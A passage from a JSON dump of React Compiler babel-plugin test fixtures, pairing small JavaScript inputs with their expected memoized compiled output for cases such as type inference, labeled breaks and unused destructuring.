name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      name\n    }\n  </div>\n<div>\n    fragment Foo on User {\n      name\n    }\n  </div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-tagged-template-expression.js",
    "content": "import {graphql} from 'shared-runtime';\n\nexport function Component({a, b}) {\n  const fragment = graphql`\n    fragment Foo on User {\n      name\n    }\n  `;\n  return <div>{fragment}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 1, b: 2},\n    {a: 2, b: 2},\n    {a: 3, b: 2},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = {u: makeSomePrimitive(), v: makeSomePrimitive()};\n  let u = x.u;\n  let v = x.v;\n  if (u > v) {\n  }\n\n  let y = x.u;\n  let z = x.v;\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { u: makeSomePrimitive(), v: makeSomePrimitive() };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const u = x.u;\n  const v = x.v;\n  if (u > v) {\n  }\n\n  const z = x.v;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-load-binary-op.js",
    "content": "function component() {\n  let x = {u: makeSomePrimitive(), v: makeSomePrimitive()};\n  let u = x.u;\n  let v = x.v;\n  if (u > v) {\n  }\n\n  let y = x.u;\n  let z = x.v;\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-store.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = {};\n  let q = {};\n  x.t = q;\n  let z = x.t;\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    const q = {};\n    x.t = q;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  const z = x.t;\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-field-store.js",
    "content": "function component() {\n  let x = {};\n  let q = {};\n  x.t = q;\n  let z = x.t;\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let p = makePrimitive();\n  p + p; // infer p as primitive\n  let o = {};\n\n  let x = {};\n\n  x.t = p; // infer x.t as primitive\n  let z = x.t;\n\n  x.t = o; // generalize x.t\n  let y = x.t;\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  const p = makePrimitive();\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const o = {};\n    x = {};\n\n    x.t = p;\n\n    x.t = o;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  const y = x.t;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-polymorphic.js",
    "content": "function component() {\n  let p = makePrimitive();\n  p + p; // infer p as primitive\n  let o = {};\n\n  let x = {};\n\n  x.t = p; // infer x.t as primitive\n  let z = x.t;\n\n  x.t = o; // generalize x.t\n  let y = x.t;\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = 1;\n  let y = 2;\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction component() {\n  return 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-primitive.js",
    "content": "function component() {\n  let x = 1;\n  let y = 2;\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-return-type-inference.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = foo();\n  let y = foo();\n  if (x > y) {\n    let z = {};\n  }\n\n  let z = foo();\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  const x = foo();\n  const y = foo();\n  if (x > y) {\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const z_0 = t0;\n  return z_0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-test-return-type-inference.js",
    "content": "function component() {\n  let x = foo();\n  let y = foo();\n  if (x > y) {\n    let z = {};\n  }\n\n  let z = foo();\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction component(a) {\n  let t = {t: a};\n  let z = +t.t;\n  let q = -t.t;\n  let p = void t.t;\n  let n = delete t.t;\n  let m = !t.t;\n  let e = ~t.t;\n  let f = typeof t.t;\n  return {z, p, q, n, m, e, f};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\nfunction component(a) {\n  const $ = _c(8);\n  const t = { t: a };\n  const z = +t.t;\n  const q = -t.t;\n  const p = void t.t;\n  const n = delete t.t;\n  const m = !t.t;\n  const e = ~t.t;\n  const f = typeof t.t;\n  let t0;\n  if (\n    $[0] !== e ||\n    $[1] !== f ||\n    $[2] !== m ||\n    $[3] !== n ||\n    $[4] !== p ||\n    $[5] !== q ||\n    $[6] !== z\n  ) {\n    t0 = { z, p, q, n, m, e, f };\n    $[0] = e;\n    $[1] = f;\n    $[2] = m;\n    $[3] = n;\n    $[4] = p;\n    $[5] = q;\n    $[6] = z;\n    $[7] = t0;\n  } else {\n    t0 = $[7];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unary-expr.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nfunction component(a) {\n  let t = {t: a};\n  let z = +t.t;\n  let q = -t.t;\n  let p = void t.t;\n  let n = delete t.t;\n  let m = !t.t;\n  let e = ~t.t;\n  let f = typeof t.t;\n  return {z, p, q, n, m, e, f};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.expect.md",
    "content": "\n## Input\n\n```javascript\n// @panicThreshold:\"none\" @validateExhaustiveMemoizationDependencies:false\n\n// unclosed disable rule should affect all components\n/* eslint-disable react-hooks/rules-of-hooks */\n\nfunction ValidComponent1(props) {\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent2(props) {\n  return <div>{props.greeting}</div>;\n}\n\n```\n\n## Code\n\n```javascript\n// @panicThreshold:\"none\" @validateExhaustiveMemoizationDependencies:false\n\n// unclosed disable rule should affect all components\n/* eslint-disable react-hooks/rules-of-hooks */\n\nfunction ValidComponent1(props) {\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent2(props) {\n  return <div>{props.greeting}</div>;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unclosed-eslint-suppression-skips-all-components.js",
    "content": "// @panicThreshold:\"none\" @validateExhaustiveMemoizationDependencies:false\n\n// unclosed disable rule should affect all components\n/* eslint-disable react-hooks/rules-of-hooks */\n\nfunction ValidComponent1(props) {\n  return <div>Hello World!</div>;\n}\n\nfunction ValidComponent2(props) {\n  return <div>{props.greeting}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  let x = 0;\n  bar: {\n    x = 1;\n    break bar;\n  }\n  return a + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a) {\n  return a + 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unconditional-break-label.js",
    "content": "function foo(a) {\n  let x = 0;\n  bar: {\n    x = 1;\n    break bar;\n  }\n  return a + x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/uninitialized-declaration-in-reactive-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = mutate();\n  let y;\n  foo(x);\n  return [y, x];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = mutate();\n    let y;\n    foo(x);\n    t0 = [y, x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/uninitialized-declaration-in-reactive-scope.js",
    "content": "function Component(props) {\n  let x = mutate();\n  let y;\n  foo(x);\n  return [y, x];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unknown-hooks-do-not-assert.expect.md",
    "content": "\n## Input\n\n```javascript\n// Forget currently bails out when it detects a potential mutation (Effect.Mutate)\n// to an immutable value. This should not apply to unknown / untyped hooks.\nfunction Component(props) {\n  const x = useUnknownHook1(props);\n  const y = useUnknownHook2(x);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\n// Forget currently bails out when it detects a potential mutation (Effect.Mutate)\n// to an immutable value. This should not apply to unknown / untyped hooks.\nfunction Component(props) {\n  const x = useUnknownHook1(props);\n  const y = useUnknownHook2(x);\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unknown-hooks-do-not-assert.js",
    "content": "// Forget currently bails out when it detects a potential mutation (Effect.Mutate)\n// to an immutable value. This should not apply to unknown / untyped hooks.\nfunction Component(props) {\n  const x = useUnknownHook1(props);\n  const y = useUnknownHook2(x);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(end) {\n  const log = [];\n  for (let i = 0; i < end + 1; i++) {\n    log.push(`${i} @A`);\n    bb0: {\n      if (i === end) {\n        break;\n      }\n      log.push(`${i} @B`);\n    }\n    log.push(`${i} @C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useHook(end) {\n  const $ = _c(2);\n  let log;\n  if ($[0] !== end) {\n    log = [];\n    for (let i = 0; i < end + 1; i++) {\n      log.push(`${i} @A`);\n\n      if (i === end) {\n        break;\n      }\n\n      log.push(`${i} @B`);\n\n      log.push(`${i} @C`);\n    }\n    $[0] = end;\n    $[1] = log;\n  } else {\n    log = $[1];\n  }\n\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"0 @A\",\"0 @B\",\"0 @C\",\"1 @A\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-loop.ts",
    "content": "function useHook(end) {\n  const log = [];\n  for (let i = 0; i < end + 1; i++) {\n    log.push(`${i} @A`);\n    bb0: {\n      if (i === end) {\n        break;\n      }\n      log.push(`${i} @B`);\n    }\n    log.push(`${i} @C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [1],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_STRING0} from 'shared-runtime';\n\nfunction useHook(cond) {\n  const log = [];\n  switch (CONST_STRING0) {\n    case CONST_STRING0:\n      log.push(`@A`);\n      bb0: {\n        if (cond) {\n          break;\n        }\n        log.push(`@B`);\n      }\n      log.push(`@C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_STRING0 } from \"shared-runtime\";\n\nfunction useHook(cond) {\n  const $ = _c(2);\n  let log;\n  if ($[0] !== cond) {\n    log = [];\n    bb0: switch (CONST_STRING0) {\n      case CONST_STRING0: {\n        log.push(\"@A\");\n\n        if (cond) {\n          break bb0;\n        }\n\n        log.push(\"@B\");\n\n        log.push(\"@C\");\n      }\n    }\n    $[0] = cond;\n    $[1] = log;\n  } else {\n    log = $[1];\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"@A\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unlabeled-break-within-label-switch.ts",
    "content": "import {CONST_STRING0} from 'shared-runtime';\n\nfunction useHook(cond) {\n  const log = [];\n  switch (CONST_STRING0) {\n    case CONST_STRING0:\n      log.push(`@A`);\n      bb0: {\n        if (cond) {\n          break;\n        }\n        log.push(`@B`);\n      }\n      log.push(`@C`);\n  }\n  return log;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate, useNoAlias} from 'shared-runtime';\n\nfunction Component(props) {\n  // Here `x` cannot be memoized bc its mutable range spans a hook call:\n  const x = [];\n  useNoAlias();\n  mutate(x);\n\n  // However, `x` is non-reactive. It cannot semantically change, so we\n  // exclude it as a dependency of the JSX element:\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { mutate, useNoAlias } from \"shared-runtime\";\n\nfunction Component(props) {\n  const x = [];\n  useNoAlias();\n  mutate(x);\n\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>joe</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unmemoized-nonreactive-dependency-is-pruned-as-dependency.js",
    "content": "import {mutate, useNoAlias} from 'shared-runtime';\n\nfunction Component(props) {\n  // Here `x` cannot be memoized bc its mutable range spans a hook call:\n  const x = [];\n  useNoAlias();\n  mutate(x);\n\n  // However, `x` is non-reactive. It cannot semantically change, so we\n  // exclude it as a dependency of the JSX element:\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  const [x, unused, y] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(props) {\n  const [x, , y] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-middle-element.js",
    "content": "function foo(props) {\n  const [x, unused, y] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  const [x, y, ...z] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(props) {\n  const [x, y] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-array-rest-element.js",
    "content": "function foo(props) {\n  const [x, y, ...z] = props.a;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  (x = 1) && (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x;\n  ((x = 1), 1) && (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-conditional.js",
    "content": "function Component(props) {\n  let x = 0;\n  (x = 1) && (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical-assigned-to-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // unused!\n  const obj = makeObject();\n  const obj2 = makeObject();\n  const _ = (obj.a ?? obj2.b) || props.c;\n  return null;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const obj = makeObject();\n  const obj2 = makeObject();\n  (obj.a ?? obj2.b) || props.c;\n  return null;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical-assigned-to-variable.js",
    "content": "function Component(props) {\n  // unused!\n  const obj = makeObject();\n  const obj2 = makeObject();\n  const _ = (obj.a ?? obj2.b) || props.c;\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  props.cond ? (x = 1) : (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x;\n  props.cond ? (x = 1) : (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-logical.js",
    "content": "function Component(props) {\n  let x = 0;\n  props.cond ? (x = 1) : (x = 2);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  // can't remove `unused` since it affects which properties are copied into `rest`\n  const {unused, ...rest} = props.a;\n  return rest;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(props) {\n  const $ = _c(2);\n  let rest;\n  if ($[0] !== props.a) {\n    const { unused, ...t0 } = props.a;\n    rest = t0;\n    $[0] = props.a;\n    $[1] = rest;\n  } else {\n    rest = $[1];\n  }\n  return rest;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element-with-rest.js",
    "content": "function Foo(props) {\n  // can't remove `unused` since it affects which properties are copied into `rest`\n  const {unused, ...rest} = props.a;\n  return rest;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo(props) {\n  const {x, y, ...z} = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Foo(props) {\n  const { x } = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-object-element.js",
    "content": "function Foo(props) {\n  const {x, y, ...z} = props.a;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-optional-method-assigned-to-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // unused!\n  const obj = makeObject();\n  const _ = obj.a?.b?.(props.c);\n  return null;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const obj = makeObject();\n  obj.a?.b?.(props.c);\n  return null;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-optional-method-assigned-to-variable.js",
    "content": "function Component(props) {\n  // unused!\n  const obj = makeObject();\n  const _ = obj.a?.b?.(props.c);\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-ternary-assigned-to-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // unused!\n  const obj = makeObject();\n  const _ = obj.a ? props.b : props.c;\n  return null;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const obj = makeObject();\n  obj.a ? props.b : props.c;\n  return null;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/unused-ternary-assigned-to-variable.js",
    "content": "function Component(props) {\n  // unused!\n  const obj = makeObject();\n  const _ = obj.a ? props.b : props.c;\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let a = 0;\n  const b = a++;\n  const c = ++a;\n  const d = a--;\n  const e = --a;\n  return {a, b, c, d, e};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { a: 0, b: 0, c: 2, d: 2, e: 0 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":0,\"c\":2,\"d\":2,\"e\":0}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-constant-propagation.js",
    "content": "function Component() {\n  let a = 0;\n  const b = a++;\n  const c = ++a;\n  const d = a--;\n  const e = --a;\n  return {a, b, c, d, e};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let a = props.x;\n  let b;\n  let c;\n  let d;\n  if (props.cond) {\n    d = ((b = a), a++, (c = a), ++a);\n  }\n  return [a, b, c, d];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 2, cond: true}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let a = props.x;\n  let b;\n  let c;\n  let d;\n  if (props.cond) {\n    d = ((b = a), a++, (c = a), ++a);\n  }\n  let t0;\n  if ($[0] !== a || $[1] !== b || $[2] !== c || $[3] !== d) {\n    t0 = [a, b, c, d];\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = d;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 2, cond: true }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,2,3,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-in-sequence.js",
    "content": "function Component(props) {\n  let a = props.x;\n  let b;\n  let c;\n  let d;\n  if (props.cond) {\n    d = ((b = a), a++, (c = a), ++a);\n  }\n  return [a, b, c, d];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 2, cond: true}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/update-expression-on-function-parameter-1.expect.md",
